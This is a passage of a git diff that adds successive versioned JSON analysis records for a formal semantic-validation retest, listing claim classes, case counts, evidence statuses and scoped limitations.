"evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1015-execution-v32", + "generated_at": "2026-09-18", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v33.json b/docs/research/formal-semantic-validation/analysis-v33.json new file mode 100644 index 000000000..a97ba4dbf --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v33.json @@ -0,0 +1,149 @@ +{ + "analysis_id": "issue-1186-analysis-v33", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v33.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1186-execution-v33", + "generated_at": "2026-09-19", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v34.json b/docs/research/formal-semantic-validation/analysis-v34.json new file mode 100644 index 000000000..2f4d07da1 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v34.json @@ -0,0 +1,150 @@ +{ + "analysis_id": "issue-1187-analysis-v34", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v34.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1187-execution-v34", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v35.json b/docs/research/formal-semantic-validation/analysis-v35.json new file mode 100644 index 000000000..ba2ddbcc5 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v35.json @@ -0,0 +1,151 @@ +{ + "analysis_id": "issue-1189-analysis-v35", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v35.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1189-execution-v35", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v36.json b/docs/research/formal-semantic-validation/analysis-v36.json new file mode 100644 index 000000000..0075090e1 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v36.json @@ -0,0 +1,152 @@ +{ + "analysis_id": "issue-1072-analysis-v36", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v36.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1072-execution-v36", + "generated_at": "2026-09-20", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1072 participant-control contracts are covered by dedicated API-424 regression tests; this retained formal corpus does not execute providers or establish runtime effect realization." + ], + "plain_language_outcome": "Replay after authoring-adapter conformance and issue #1299 partial listener admission on the integrated source state retains registered outcomes, compiled digests, and claim limits. This corpus does not establish listener endpoint completeness, backend admission, realized participant relationships, adapter transport behavior, or native backend scope enforcement. The replay also binds API-404 operational recovery code without claiming that this corpus executes crash recovery or live provider-effect classification. The replay binds CP-5 runtime ownership code without claiming that this corpus executes process contention, SQLite lifecycle ordering, or crash recovery. The replay binds issue #1015 mixed and staged trial-admission code without claiming that this corpus executes a mixed-backend realization. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the formal corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained formal corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained formal corpus as evidence of control-plane profile guarantees. This replay binds issue #1072 contract source without adding provider-execution or runtime effect-realization claims.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v37.json b/docs/research/formal-semantic-validation/analysis-v37.json new file mode 100644 index 000000000..b5943cee1 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v37.json @@ -0,0 +1,152 @@ +{ + "analysis_id": "issue-1072-analysis-v37", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate 